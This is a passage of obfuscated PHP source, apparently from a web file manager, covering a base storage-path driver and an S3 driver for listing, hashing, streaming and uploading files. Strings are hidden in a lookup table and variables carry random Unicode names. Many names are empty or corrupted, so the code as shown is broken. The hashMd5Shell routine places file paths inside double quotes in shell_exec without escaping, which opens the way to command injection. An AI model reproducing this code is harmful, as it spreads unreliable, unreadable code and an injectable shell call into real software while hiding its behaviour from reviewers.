(!$虺) { $虺 = rand_string(15); } $ה = TEMP_FILES . rand_string(15) . $_SERVER[Ǿ][18]; @mkdir($ה, DEFAULT_PERRMISSIONS, !0); $σ = $ה . $虺; @touch($σ); if ($̜) { file_put_contents($σ, $̜); } return $σ; } public function tempFileRemve($) { @unlink($); @rmdir($this->pathFather($)); } public function mkfile($݇݌, $Ծ = '', $߲ = REPEAT_RENAME) { } public function mkdir($, $׬Ҭ = REPEAT_SKIP) { } public function delFile($) { } public function delFolder($ו) { } public function copyFile($ߵ, $ԁ) { } public function moveFile($ܔı, $ε) { } public function remove($) { if ($this->isFile($)) { return $this->delFile($); } return $this->delFolder($); } public function rename($я, $ݼ) { } public function exist($Ջ) { } public function findByHash($ = '', $˶ = '') { return !1; } public function isFile($붰驃) { } public function isFolder($) { } public function size($خ) { } public function info($) { } public function infoSimple($) { return $this->info($); } public function infoAuth($) { return $this->info($); } public function infoFull($ܙ) { return $this->info($ܙ); } public function infoWithChildren($ʗ) { $ =& $_SERVER[Ǿ]; static $ = array(); if (isset($[$ʗ])) { return $[$ʗ]; } $⭳ = $this->info($ʗ); if ($⭳ && $⭳[$[43]] == $[89]) { $ = array($[90] => 0, $[91] => 0, $[92] => 0); $this->infoChildren($ʗ, $); $⭳[$[90]] = $[$[90]]; $⭳[$[93]] = array($[94] => $[$[91]], $[95] => $[$[92]]); $[$ʗ] = $⭳; } return $⭳; } public function listPath($ǚ, $DzҸ = false) { } public function has($ʮ, $ٖ = false, $ར = false) { } public function canRead($) { } public function canWrite($傃) { } public function getContent($) { } public function setContent($©, $ȯ = '') { } protected function infoChildren($ڹЄ, &$ܙ) { $ =& $_SERVER[Ǿ]; check_abort_echo(); $ = $this->listPath($ڹЄ, !0); $ = array_merge($[$[87]], $[$[86]]); foreach ($ as $Ȳ) { if ($Ȳ[$[43]] == $[89]) { $ܙ[$[92]]++; $Ŕ = $this->getPathInner($Ȳ[$[88]]); $this->infoChildren($Ŕ, $ܙ); } else { $ܙ[$[91]]++; $ܙ[$[90]] += $Ȳ[$[90]]; } } } public function fileSubstr($•ښ, $, $) { } public function listAll($ž) { } public function listAllMake($, &$փɛ) { $Կ =& $_SERVER[Ǿ]; check_abort_echo(); $ = $this->listPath($, !0); if (!$) { return; } $ = array_merge($[$Կ[87]], $[$Կ[86]]); foreach ($ as $۞) { $³ = $۞[$Կ[43]] == $Կ[89]; $Κ = array($Կ[88] => $۞[$Կ[88]], $Կ[89] => $³); if (isset($۞[$Կ[90]])) { $Κ[$Կ[90]] = $۞[$Կ[90]]; } if (isset($۞[$Կ[96]])) { $Κ[$Կ[96]] = $۞[$Կ[96]]; } if (!$³) { $փɛ[] = $Κ; continue; } $փɛ[] = $Κ; $Ȕ = $۞[$Կ[88]]; $ѓʒ = $this->pathDriver; if (substr($۞[$Կ[88]], 0, strlen($ѓʒ)) == $ѓʒ) { $Ȕ = substr($Ȕ, strlen($ѓʒ)); } $this->listAllMake($Ȕ, $փɛ); } } public function listAllSimple($ψ) { $ݣ =& $_SERVER[Ǿ]; $鿬 = array(); $ȩ = $this->listAll($ψ); $ = $this->getPathOuter($ψ); foreach ($ȩ as $Ģ) { $ = $Ģ[$ݣ[88]]; $ = $Ģ[$ݣ[88]]; if (isset($Ģ[$ݣ[97]])) { $ = $Ģ[$ݣ[97]][$ݣ[88]]; $Ģ[$ݣ[90]] = $Ģ[$ݣ[97]][$ݣ[90]]; $Ģ[$ݣ[96]] = $Ģ[$ݣ[97]][$ݣ[96]]; } else { $ = substr($Ģ[$ݣ[88]], strlen(get_path_father($))); $ = $ݣ[18] . ltrim($, $ݣ[18]); } $ڵ = array($ݣ[88] => $, $ݣ[89] => $Ģ[$ݣ[89]]); if (isset($Ģ[$ݣ[90]]) && !$Ģ[$ݣ[89]]) { $ڵ[$ݣ[90]] = $Ģ[$ݣ[90]]; } if (isset($Ģ[$ݣ[96]])) { $ڵ[$ݣ[96]] = $Ģ[$ݣ[96]]; } if (!$Ģ[$ݣ[89]]) { $ڵ[$ݣ[98]] = $; } $鿬[] = $ڵ; } return $鿬; } public function upload($, $ˁ, $۹ = false, $ = REPEAT_REPLACE) { } public function uploadFileByID($, $Ȓ, $Ә) { } public function uploadFileByPath($, $, $ = array()) { } public function isUploadServer() { $ё =& $_SERVER[Ǿ]; if (isset($this->ioUploadServer) && $this->ioUploadServer == $ё[99]) { return !0; } return $GLOBALS[$ё[16]][$ё[100]][$ё[101]]; } public function isFileOutServer() { $ =& $_SERVER[Ǿ]; if (isset($this->ioFileOutServer) && $this->ioFileOutServer == $[99]) { return !0; } return $GLOBALS[$[16]][$[100]][$[102]]; } public function isCdnHost() { return $this->isFileOutServer() || empty($this->cdnHost) ? !1 : !0; } public function getCdnLink($) { $ =& $_SERVER[Ǿ]; if (!$this->isCdnHost()) { return $; } return str_replace(trim(get_url_root($), $[18]), trim($this->cdnHost, $[18]), $); } public function uploadLink($҇, $ = 0) { $ =& $_SERVER[Ǿ]; if ($this->isUploadServer()) { return; } $Π = $this->getType(); if (!in_array($Π, $this->objectDriver)) { return; } if (!$this->isBucketCors()) { return; } $ȑٓ = 1024 * 1024 * 10; $ࢆ = $ <= $ȑٓ ? $[103] : $[104]; $ݸ = (!$ ? 1 : ceil($ / pow(1024, 3))) * 3600 * 4; $휤 = $this->{$ࢆ}($҇, $ݸ); if ($휤) { $휤[$[105]] = $҇; $휤[$[106]] = $Π; } return $휤; } public function uploadFormData($ʵ, $ = 3600) { } public function multiUploadFormData($, $ȴ = 3600) { } public function download($Ū, $Ҝ) { } public function ext($昧) { $ =& $_SERVER[Ǿ]; if (strpos($昧, $[18]) === -1) { $ = $昧; } else { $ = $this->pathThis($昧); } $ū = $[22]; if (strstr($, $[20])) { $ū = substr($, strrpos($, $[20]) + 1); $ū = strtolower($ū); } if (strlen($ū) > 3 && preg_match($[107], $ū, $Ǵ)) { $ū = $[22]; } return $ū; } public function pathThis($є) { $ =& $_SERVER[Ǿ]; $є = str_replace($[108], $[18], rtrim($є, $[18])); $ї = strrpos($є, $[18]); if ($ї === !1) { return $є; } return substr($є, $ї + 1); } public function pathFather($Ń) { $̹ =& $_SERVER[Ǿ]; $Ń = str_replace($̹[108], $̹[18], rtrim($Ń, $̹[18])); $ = strrpos($Ń, $̹[18]); if ($ === !1) { return $̹[22]; } return substr($Ń, 0, $ + 1); } public function hashSimple($Ǎ) { $ =& $_SERVER[Ǿ]; if (!$Ǎ) { return md5($[22]); } $̷ = $this->size($Ǎ); $Ÿ = 200; $˕ = 50; if ($̷ <= $Ÿ * $˕) { return $this->hashMd5($Ǎ) . $̷; } $ = intval($̷ / $˕); $͍ = $[22]; for ($܂㍼ = 0; $܂㍼ < $˕; $܂㍼++) { $͍ .= $this->fileSubstr($Ǎ, $ * $܂㍼, $Ÿ); } $͍ .= $this->fileSubstr($Ǎ, $̷ - $Ÿ, $Ÿ); return md5($͍) . $̷; } public static $md5Cache = array(); public function hashMd5($ǧ) { if (!$ǧ) { return md5($_SERVER[Ǿ][22]); } $ǧ = $this->iconvSystem($ǧ); if (isset(self::$md5Cache[$ǧ])) { return self::$md5Cache[$ǧ]; } self::$md5Cache[$ǧ] = $this->hashMd5Shell($ǧ); if (!self::$md5Cache[$ǧ]) { self::$md5Cache[$ǧ] = @md5_file($ǧ); } return self::$md5Cache[$ǧ]; } private function hashMd5Shell($) { $¨ـ =& $_SERVER[Ǿ]; if (!$) { return md5($¨ـ[22]); } if (!function_exists($¨ـ[109])) { return !1; } $ = array($¨ـ[110], $¨ـ[111]); $ĉ = Cache::get($¨ـ[112]); if (!$ĉ) { $Ҷ = BASIC_PATH . $¨ـ[113]; $݌ = md5_file($Ҷ); $ĉ = $¨ـ[114]; foreach ($ as $ܯ) { $ڳ毂 = shell_exec($ܯ . "\40\x22{$Ҷ}\42"); if ($ڳ毂 && substr(trim($ڳ毂), 0, 32) == $݌) { $ĉ = $ܯ; break; } } Cache::set($¨ـ[112], $ĉ, 3600); } if ($ĉ == $¨ـ[114]) { return !1; } $ڳ毂 = shell_exec($ĉ . "\40\42{$}\x22"); $ڳ毂 = str_replace($¨ـ[115], $¨ـ[22], $ڳ毂); return substr($ڳ毂, 0, 32); } public function link($) { return $; } public function fileOut($җ, $ό = false, $ɛ = false, $铣 = '') { $ =& $_SERVER[Ǿ]; $this->cacheMethod(null, null); if (!$җ || !$this->exist($җ)) { show_json(LNG($[116]), !1, $ɛ); } $ڀՒ = $this->getType() == $[117]; $ۯΩ = $GLOBALS[$[16]][$[100]][$[118]][$[119]]; $ƀ = (double) $GLOBALS[$[16]][$[100]][$[118]][$[120]] * 1024 * 1024; @ob_end_clean(); set_timeout(); $ = $this->infoFull($җ); $ = $[$[90]]; $ݚԞ = gmdate($[121], $[$[96]]); $𣟱 = $ɛ ? $ɛ : $this->iconvApp($[$[42]]); $꯹ = 0; $ָ = $ - 1; $ŷ嬀 = $this->ext($𣟱); if (in_array($ŷ嬀, array($[122], $[123], $[124], $[125]))) { $ŷ嬀 = $[126]; } if (!$铣) { $铣 = md5($ݚԞ . $this->hashSimple($җ)); } $铣 = $[127] . $铣 . $[127]; $ = get_file_mime($ŷ嬀); if ($ό === !1 && !mime_support($)) { $ό = !0; $ = $[128]; } header($[129]); header($[130] . $); $ڜڸ = rawurlencode($𣟱); $ڜڸ = $[127] . $ڜڸ . $[131] . $ڜڸ; if ($ό) { header($[132]); header($[133] . $ڜڸ); } else { } header($[134] . gmdate($[121], time() + 3600 * 24 * 30) . $[135]); header($[136]); header($[137]); header($[138]); if (isset($_SERVER[$[139]]) && strtotime($_SERVER[$[139]]) == $[$[96]]) { header($[140], !0, 304); die; } if (isset($_SERVER[$[141]]) && $_SERVER[$[141]] == $铣) { header($[142] . $铣, !0, 304); die; } header($[142] . $铣); header($[143] . $ݚԞ . $[135]); header($[144] . $𣟱); header($[145]); header($[146] . $); header($[147]); if (!$ό && $ŷ嬀 == $[148]) { if ($ > 1024 * 1024 * 5) { die; } $Å = $this->getContent($җ); $Å = Html::clearSVG($Å); header($[149] . strlen($Å)); echo $Å; die; } $ = strtolower($_SERVER[$[150]]); if ($ڀՒ && $ && $ۯΩ) { if (strstr($, $[151])) { header($[152] . $җ); } else { if (strstr($, $[153])) { header($[154] . $җ); } else { if (strstr($, $[155])) { header($[156] . $җ); } } } if ($ƀ) { header($[157] . $ƀ); } return; } if (isset($_SERVER[$[158]])) { if (preg_match($[159], $_SERVER[$[158]], $)) { $꯹ = intval($[1]); if (!empty($[2])) { $ָ = intval($[2]); } } header($[160]); header("\103\157\156\x74\x65\156\164\55\122\x61\x6e\x67\145\x3a\x20\x62\x79\164\x65\x73\x20{$꯹}\x2d{$ָ}\x2f" . $); } else { header($[161]); } header($[162]); $ֶ = !0; if ($_SERVER[$[163]] == $[164] && $ > 1204 * 1024 * 1024 * 2) { $ֶ = !1; } if ($ֶ) { header($[165] . ($ָ - $꯹ + 1)); } if ($_SERVER[$[166]] == $[167]) { return; } $  = 1024 * 100; $ = 0; if ($ƀ) { $ = intval(1000 * 1000 * ($  / $ƀ)); } while ($꯹ <= $ָ) { $ҫ = timeFloat(); check_abort(); $ = $ָ - $꯹ + 1; if ($ <= $ ) { $  = $; } echo $this->fileSubstr($җ, $꯹, $ ); $꯹ += $ ; if ($  == $) { $꯹ = $ָ + 1; } if ($) { $հܘ = intval(1000 * 1000 * (timeFloat() - $ҫ)); $񮻥 = $ - $հܘ; if ($񮻥 > 5) { usleep($񮻥); } } } } public function fileOutServer($˘, $ݝ = false, $ϭ = false, $ֺ = '') { $this->fileOut($˘, $ݝ, $ϭ, $ֺ); } public function fileOutLink($ò) { header($_SERVER[Ǿ][168] . $ò); die; } public function cacheMethod($ƒ, $ޱ, $ = null) { $䟛 =& $_SERVER[Ǿ]; static $ = array(); $ˬ = $ޱ ? ltrim($this->getPathOuter($ޱ), $䟛[18]) : $ޱ; $Ϻ = $䟛[169] . $ƒ . $䟛[170] . rtrim($ˬ, $䟛[18]); if (is_null($ƒ)) { $ = array(); return; } if (is_null($ޱ)) { unset($[$Ϻ]); return; } if (!is_null($)) { $[$Ϻ] = $; return; } $ڔ = isset($[$Ϻ]) ? $[$Ϻ] : null; if (!is_null($ڔ)) { return $ڔ; } $ڔ = $this->{$ƒ}($ޱ); $[$Ϻ] = $ڔ; return $ڔ; } public function fileOutImage($, $; = 250) { $ =& $_SERVER[Ǿ]; set_timeout(); if (substr($, 0, 4) == $[155]) { $this->fileOutLink($); } $c = $this->info($); $ = $c[$[42]]; $¤ = !1; if (isset($GLOBALS[$[171]]) && $GLOBALS[$[171]][$[88]] == $c[$[88]]) { $ꢏ = $GLOBALS[$[171]][$[172]]; if (!$c[$[173]]) { $c[$[173]] = $GLOBALS[$[171]]; } if (isset($ꢏ[$[174]])) { if ($ꢏ[$[174]] <= $; && $ꢏ[$[175]] <= $;) { $¤ = !0; } } $ = $c[$[173]][$[42]]; } if ($c[$[90]] <= 1024 * 50 || $¤ || !function_exists($[176]) || $c[$[177]] == $[178]) { return $this->fileOut($, !1, $); } if (isset($c[$[173]][$[179]])) { $ = $c[$[173]][$[179]]; } else { if (isset($c[$[173]][$[180]])) { $ = $c[$[173]][$[180]]; } else { $ = md5("{$c[$[42]]}\x5f{$c[$[88]]}\x5f{$c[$[90]]}"); } } $֑ = "{$}\137{$;}\x2e\160\x6e\x67"; if (!($ȕ = IO::fileNameExist(IO_PATH_SYSTEM_TEMP, $[181]))) { $ = IO::mkdir(IO_PATH_SYSTEM_TEMP . $[182]); } else { $ = KodIO::make($ȕ); } if ($ȕ = IO::fileNameExist($, $֑)) { $ѳɫ = KodIO::make($ȕ); return IO::fileOut($ѳɫ, !1, $); } if (!is_dir(DATA_THUMB)) { mk_dir(DATA_THUMB); } $ѳɫ = DATA_THUMB . $֑; del_file($ѳɫ); if (!@file_exists($ѳɫ)) { $Ћ = TEMP_FILES; if (!is_dir($Ћ)) { mk_dir($Ћ); } $ԕ = $Ћ . $ . $[20] . $c[$[177]]; if (!@file_exists($ԕ)) { $ԕ = $this->download($, $ԕ); } ImageThumb::createThumb($ԕ, $ѳɫ, $;, $; * 10); } if (!file_exists($ѳɫ) || filesize($ѳɫ) < 100) { return @file_exists($ԕ) ? IO::fileOut($ԕ) : $this->fileOut($); } if (!($ = IO::move($ѳɫ, $))) { return IO::fileOut($ѳɫ); } del_file($ѳɫ); IO::fileOut($); } public function fileOutImageServer($, $̀ = 250) { $this->fileOutImage($, $̀); } public function fileNameAuto($ɏ, $, $ = REPEAT_RENAME, $Ͳ = false) { $ =& $_SERVER[Ǿ]; $ؚų = $ɏ === $[22] ? $ : rtrim($ɏ, $[18]) . $[18] . $; if ($ == REPEAT_REPLACE || !$this->exist($ؚų) || $Ͳ && $ != REPEAT_RENAME_FOLDER) { return $; } if ($ == REPEAT_SKIP) { return !1; } $ = $[20] . get_path_ext($); $ = $ == $[20] || $Ͳ ? $[22] : $; $Ù = 1; $͟ɓ = substr($, 0, strlen($) - strlen($)); $연 = $͟ɓ . "\x28{$Ù}\51{$}"; while ($this->exist(rtrim($ɏ, $[18]) . $[18] . $연)) { $연 = $͟ɓ . "\50{$Ù}\51{$}"; $Ù++; } return $연; } private function fileNameAutoList($؃, $, $ = false) { $ܖ =& $_SERVER[Ǿ]; $ = $this->listPath($؃, !0); $ = array_merge($[$ܖ[87]], $[$ܖ[86]]); $Ń = array_to_keyvalue($, $ܖ[22], $ܖ[42]); $ʎ = $ܖ[20] . get_path_ext($); $ʎ = $ʎ == $ܖ[20] || $ ? $ܖ[22] : $ʎ; $ = substr($, 0, strlen($) - strlen($ʎ)); $ = $ . "\50\x30\51{$ʎ}"; for ($٠ = 1; $٠ <= count($Ń) + 1; $٠++) { $ = $ . "\x28{$٠}\51{$ʎ}"; if (!in_array_not_case($, $Ń)) { return $; } } return $; } public function listAllFiles($ͦ, $, $Μф = array()) { $֏ =& $_SERVER[Ǿ]; if (empty($)) { return array(); } $ = array(); $ͦ = trim($ͦ, $֏[18]); foreach ($ as $⪦ޟ) { $։ = ltrim(substr(trim($⪦ޟ, $֏[18]), strlen($ͦ)), $֏[18]); $ = array_merge($, $this->slicePath($։)); } $ = array(); foreach (array_unique($) as $⪦ޟ) { $ן = array($֏[88] => $this->getPathOuter($֏[18] . $ͦ . $֏[18] . $⪦ޟ), $֏[89] => 1, $֏[90] => 0); if (substr($⪦ޟ, -1) != $֏[18]) { $ן[$֏[89]] = 0; $Ǥ = $this->getPath($ͦ . $֏[18] . $⪦ޟ); $ן[$֏[90]] = isset($Μф[$Ǥ]) ? $Μф[$Ǥ] : $this->size($Ǥ); } $[] = $ן; } return $; } public function slicePath($ז) { $օ =& $_SERVER[Ǿ]; $ܐ = explode($օ[18], trim($ז, $օ[18])); $ӫ = 0; do { ++$ӫ; $ޣ[] = implode($օ[18], array_slice($ܐ, 0, $ӫ)) . $օ[18]; } while ($ӫ < count($ܐ)); $ޣ[count($ܐ) - 1] = $ז; return $ޣ; } public function getHost() { $捷 =& $_SERVER[Ǿ]; $ = parse_url(trim($this->domain, $捷[18])); $Ί = isset($[$捷[183]]) ? $[$捷[183]] : http_type(); $㎢ר = isset($[$捷[184]]) ? $[$捷[184]] : $[$捷[88]]; if (isset($[$捷[185]])) { $㎢ר .= $捷[4] . $[$捷[185]]; } return $Ί . $捷[186] . $㎢ר; } public function pathEncode($) { $ =& $_SERVER[Ǿ]; return str_replace($[187], $[18], rawurlencode($)); } } class PathDriverBaseS3 extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $useSSL = false; protected $region = ''; protected $endpoint = ''; protected $bucket = ''; protected $client = null; protected $signVer = "\x76\64"; public $ioUploadServer = "\60"; public $ioFileOutServer = "\60"; public function __construct($ձ) { set_timeout(); require_once SDK_DIR . $_SERVER[Ǿ][188]; parent::__construct(); $this->_init($ձ); } public function _init($Ă) { foreach ($Ă as $ => $݄) { if (isset($this->{$})) { $this->{$} = $݄; } } $this->endpoint = $Ă[$_SERVER[Ǿ][189]]; $this->client = new S3($this->accessKey, $this->secret, $this->useSSL, $this->endpoint, $this->region); $this->client->setEndpoint($this->getHost()); } public function signatureVersion($ = "\166\x34") { $this->signVer = $; $this->client->setSignatureVersion($); } public function setBucketCors() { return $this->client->setBucketCors($this->bucket); } public function getBucketCors() { return $this->client->getBucketCors($this->bucket); } public function isBucketCors() { $ȁ =& $_SERVER[Ǿ]; $̭ = $this->getBucketCors(); if (!$̭ || !is_array($̭)) { return !1; } if ($̭[$ȁ[190]] != $ȁ[191] || $̭[$ȁ[192]] != $ȁ[191]) { return !1; } $ = array_map($ȁ[193], $̭[$ȁ[194]]); if (!is_array($)) { $ = array(); } $Ր = array($ȁ[195], $ȁ[196], $ȁ[197], $ȁ[198], $ȁ[199]); $ҙ = array_diff($Ր, $); return empty($ҙ); } public function mkfile($᱑, $֜ = '', $ = REPEAT_RENAME) { $ = $this->setContent($᱑, $֜); if ($ !== !1) { return $this->getPathOuter($᱑); } return !1; } public function mkdir($ܕ, $Ș = REPEAT_SKIP) { $ꓥ =& $_SERVER[Ǿ]; if (empty($ܕ) && $ܕ !== $ꓥ[200]) { return !1; } if ($this->_isFolder($ܕ)) { return $this->getPathOuter($ܕ); } $ = $this->setContent($ܕ, $ꓥ[22], !0); if ($ !== !1) { return $this->getPathOuter($ܕ); } return !1; } public function copyFile($㣄, $ۦʌ, $ = array()) { $و =& $_SERVER[Ǿ]; $ = $this->objectMeta($㣄); if (!$) { return !1; } if ($[$و[90]] <= 1024 * 1024 * 200) { $ = $this->client->copyObject($this->bucket, $㣄, $this->bucket, $ۦʌ, $و[201], $); } else { $ = $this->client->multiCopyObject($this->bucket, $㣄, $this->bucket, $ۦʌ, $); } $ = $ ? $this->getPathOuter($ۦʌ) : !1; return $; } public function moveFile($漮, $) { if ($this->copyFile($漮, $)) { $this->delFile($漮); return $this->getPathOuter($); } return !1; } public function delFile($) { return $this->client->deleteObject($this->bucket, $); } public function delFolder($£) { $ͭ =& $_SERVER[Ǿ]; if (!$this->exist($£)) { return !0; } $this->listItemCache = !1; $֯ = $this->fileList($£); $this->listItemCache = !0; $ = trim($£, $ͭ[18]) . $ͭ[18]; if (!empty($£) && $£ !== $ͭ[200] && !in_array($, $֯[$ͭ[87]])) { $֯[$ͭ[87]][] = $; } $͑ = $this->delByBatch($֯[$ͭ[86]]); if (!$͑) { return !1; } $͑ = $this->delByBatch($֯[$ͭ[87]]); if (!$͑) { return !1; } return $this->delFile($); } private function delByBatch($뼍) { foreach (array_chunk($뼍, 1000) as $ʐ) { $й = $this->client->deleteObjects($this->bucket, $ʐ); if (!$й) { return !1; } } return !0; } public function rename($, $΂) { return $this->renameObject($, $΂); } public function listPath($, $ = false) { $ =& $_SERVER[Ǿ]; $ޖ = $this->fileList($, $[18], !0); foreach ($ޖ[$[87]] as $ => $) { $ޖ[$[87]][$] = $this->folderInfo($, $); } foreach ($ޖ[$[86]] as $ => $) { $ޖ[$[86]][$] = $this->fileInfo($[$[42]], $, $); } return $ޖ; } private function fileInfo($ϸ, $ޓ = false, $ڦ = array()) { $ֵ =& $_SERVER[Ǿ]; $ = array($ֵ[42] => $this->pathThis($ϸ), $ֵ[88] => $this->getPathOuter($ϸ), $ֵ[43] => $ֵ[202], $ֵ[177] => $this->ext($ϸ), $ֵ[90] => isset($ڦ[$ֵ[90]]) ? $ڦ[$ֵ[90]] : 0); if ($ޓ) { return $; } $[$ֵ[203]] = $[$ֵ[96]] = 0; $[$ֵ[204]] = $[$ֵ[205]] = !0; if (empty($ڦ)) { $ڦ = $this->objectMeta($ϸ); if (!$ڦ) { return $; } } if (isset($ڦ[$ֵ[206]])) { $[$ֵ[96]] = $ڦ[$ֵ[206]]; } if (isset($ڦ[$ֵ[90]])) { $[$ֵ[90]] = $ڦ[$ֵ[90]]; } return $; } private function folderInfo($𛍽, $ = false) { $ =& $_SERVER[Ǿ]; $ = array($[42] => $this->pathThis($𛍽), $[88] => $this->getPathOuter($[18] . $𛍽), $[43] => $[89]); if ($) { return $; } $[$[203]] = $[$[96]] = 0; $[$[204]] = $[$[205]] = !0; if ($𛍽 == $[22]) { return $; } $𛍽 = trim($𛍽, $[18]) . $[18]; $ = $this->objectMeta($𛍽); if (isset($[$[206]])) { $[$[203]] = $[$[206]]; } return $; } private function fileList($Î, $㱈 = '', $ = 0) { $ =& $_SERVER[Ǿ]; $ = rtrim($Î, $[18]) . $[18]; $ә = $this->listObjs($, null, null, $㱈); if (!$ә) { return array($[87] => array(), $[86] => array()); } $έ = $this->listItemCache === !1 ? !1 : !0; $ = $̊͢ = array(); foreach ($ә[$[207]] as $뢅) { $ = $뢅[$[42]]; if ($ == $) { continue; } $۾ = isset($뢅[$[90]]) ? $뢅[$[90]] : 0; $֒ = $۾ == 0 && substr($, strlen($) - 1, 1) == $[18] ? !0 : !1; if ($έ) { $this->cacheMethod($[208], $, $֒); $this->cacheMethod($[209], $, $뢅); } if ($֒) { $[] = $; continue; } $̊͢[] = $ ? $뢅 : $; } foreach ($ә[$[210]] as $뢅) { $[] = $뢅[$[42]]; if ($έ) { $this->cacheMethod($[208], $뢅[$[42]], !0); } } if ($έ) { $this->cacheMethod($[208], $Î, !0); } return array($[87] => $, $[86] => $̊͢); } private function listObjs($㶀, $ܩ = null, $„ = null, $И = null) { $ϴ =& $_SERVER[Ǿ]; $㶀 = trim($㶀, $ϴ[18]); $Ѡ = empty($㶀) && $㶀 !== $ϴ[200] ? $ϴ[22] : $㶀 . $ϴ[18]; return $this->client->getBucket($this->bucket, $Ѡ, $ܩ, $„, $И, !0); } public function has($入, $߄Є = false, $ = true) { $ =& $_SERVER[Ǿ]; $入 = trim($入, $[18]); $Գ = empty($入) && $入 !== $[200] ? $[22] : $入 . $[18]; $钐ُ = null; $ = 500; $Ձ = $[18]; $ = $ = array(); while (!0) { $锢 = $this->listObjs($入, $钐ُ, $, $Ձ); if (!$锢) { break; } $钐ُ = $锢[$[211]]; $ѫ = $锢[$[207]]; $ = $锢[$[210]]; if (empty($ѫ) && empty($)) { break; } if (count($ѫ) == 1 && $ѫ[0][$[42]] == $Գ) { break; } if ($߄Є) { if (count($ѫ)) { $ѫ = array_column($ѫ, $[42]); $ = array_merge($, $ѫ); } if (count($)) { $ = array_column($, $[42]); $ = array_merge($, $); } if ($钐ُ === null) { break; } continue; } if ($) { if (!empty($ѫ)) { if (count($ѫ) > 1 || isset($ѫ[0][$[42]]) && $ѫ[0][$[42]] != $Գ) { return !0; } } } else { if (!empty($)) { return !0; } } if ($钐ُ === null) { break; } } if ($߄Є) { $ = array_diff($, array($Գ)); $ = count(array_unique($)); $ = count(array_unique($)); return array($[212] => $, $[213] => $); } return !1; } public function listAll($֎) { $ =& $_SERVER[Ǿ]; $ԁ = $this->fileList($֎, $[22], !0); $ݲꓔ = array(); foreach ($ԁ[$[86]] as $) { $ݲꓔ[$[$[42]]] = $[$[90]]; } foreach ($ԁ[$[87]] as $) { if (is_string($)) { $ݲꓔ[$] = 0; } } return $this->listAllFiles($֎, array_keys($ݲꓔ), $ݲꓔ); } public function canRead($) { $ =& $_SERVER[Ǿ]; $ = $this->client->getAccessControlPolicy($this->bucket, $); if (!$) { return !1; } return in_array($, array($[214], $[215], $[216])) ? !0 : !1; } public function canWrite($) { $ =& $_SERVER[Ǿ]; $荲 = $this->client->getAccessControlPolicy($this->bucket, $); if (!$荲) { return !1; } return in_array($荲, array($[214], $[215])) ? !0 : !1; } public function getContent($ᐥ) { return $this->client->getObject($this->bucket, $ᐥ); } public function setContent($, $ = '', $ī = false) { $Ϛέ =& $_SERVER[Ǿ]; $ = $ī ? trim($, $Ϛέ[18]) . $Ϛέ[18] : $; $̪ط = get_file_mime(get_path_ext($)); $Ȳ = $this->client->putObject($, $this->bucket, $, $Ϛέ[201], array(), $̪ط); if (!$Ȳ) { return !1; } if ($ī) { return !0; } $this->cacheMethod(null, null); $Ȳ = $this->copyFile($, $, array($Ϛέ[217] => $Ȳ[$Ϛέ[218]])); return $Ȳ ? !0 : !1; } public function fileSubstr($“, $, $ڽ) { $բ = $ + $ڽ - 1; return $this->client->getObject($this->bucket, $“, array($_SERVER[Ǿ][219] => "\142\171\164\x65\x73\x3d{$}\55{$բ}")); } public function upload($ԉ, $, $ܺ = false, $ = REPEAT_REPLACE) { $̽ =& $_SERVER[Ǿ]; $ӎ = array($̽[217] => @md5_file($)); $ = array($̽[220] => get_file_mime(get_path_ext($ԉ))); if (IO::size($) <= 1024 * 1024 * 200) { $ = $this->client->putObjectFile($, $this->bucket, $ԉ, $̽[201], $ӎ, $); return !empty($) ? $this->getPathOuter($ԉ) : !1; } $ = $this->client->multiUploadObject($, $this->bucket, trim($ԉ, $̽[18]), $ӎ, $); return $ ? $this->getPathOuter($ԉ) : !1; } public function download($DŽʤ, $ߘ) { if (!@is_dir($this->pathFather($ߘ)) && !IO::mkdir($this->pathFather($ߘ))) { return !1; } $ = $this->client->getObject($this->bucket, $DŽʤ, array(), $ߘ); return $ !== !1 ? $ߘ : !1; } public function link($ò, $ʕ9 = array()) { $⯾ =& $_SERVER[Ǿ]; if ($this->signVer == $⯾[221]) { return $this->client->getAuthenticatedURL($this->bucket, $ò, 3600 * 12, $ʕ9); } return $this->client->getObjectUrl($this->accessKey, $this->secret, $this->bucket, trim($ò, $⯾[18]), 3600 * 12, $this->region, array(), !0, $ʕ9); } public function fileOut($, $ܖ = false, $ۖҼ = false, $ = '') { $ =& $_SERVER[Ǿ]; if ($this->isFileOutServer()) { return $this->fileOutServer($, $ܖ, $ۖҼ, $); } if (!$ۖҼ) { $ۖҼ = $this->pathThis($); } $ = get_file_mime(get_path_ext($ۖҼ)); if ($ == $[222]) { return parent::fileOut($, $ܖ, $ۖҼ, $); } $Ӭҷ = array($[223] => $); if ($ܖ) { $Ӭҷ[$[224]] = $[225] . rawurlencode($ۖҼ); } else { } $ҙ = $this->link($, $Ӭҷ); $this->fileOutLink($ҙ); } public function fileOutServer($, $񊎆 = false, $ǵ = false, $ = '') { parent::fileOut($, $񊎆, $ǵ, $); } public function fileOutImageServer($, $ = 250) { parent::fileOutImage($, $); } public function hashMd5($؏, $ = '') { $ =& $_SERVER[Ǿ]; $ = $this->objectMeta($؏); if (!$) { return !1; } $ = $ ? $ : _get($, $[226]); $ = $ ? $ : _get($, $[218], $[22]); return $; } public function uploadFormData($ϥ, $ٳ = 3600) { $됧 =& $_SERVER[Ǿ]; $ƚ = $this->pathFather($ϥ); $ = $this->client->getHttpUploadPostParams($this->bucket, $ƚ, $됧[201], $ٳ); return array_merge((array) $, array($됧[184] => $this->getHost())); } public function multiUploadFormData($, $ʗ = 3600) { $Ԕ =& $_SERVER[Ǿ]; $΁ = gmdate($Ԕ[227]); $ӕ = array(); $ = $this->client->getUploadId($this->bucket, $, $ӕ); if (!$) { return !1; } return array($Ԕ[228] => $, $Ԕ[184] => $this->getHost() . $Ԕ[18] . $this->pathEncode($), $Ԕ[229] => $΁, $Ԕ[105] => $); } public function multiUploadAuthData($ן, $ = array()) { $櫣 =& $_SERVER[Ǿ]; $͟ڢ = isset($[$櫣[229]]) ? $[$櫣[229]] : gmdate($櫣[227]); $Ȝԏ = isset($[$櫣[177]]) ? $[$櫣[177]] : $櫣[22]; $← = $[$櫣[105]]; unset($[$櫣[105]]); if (isset($[$櫣[230]])) { $[$櫣[229]] = $͟ڢ; return $this->listUploadParts($←, $); } $̥ = array($櫣[231], $櫣[22], $櫣[128], $櫣[22], "\x78\55\141\155\172\x2d\x64\x61\164\x65\x3a{$͟ڢ}", $櫣[18] . $this->bucket . $櫣[18] . $this->pathEncode($←) . $Ȝԏ); if (strpos($Ȝԏ, $櫣[232]) === 0) { $̥[0] = $櫣[233]; } if 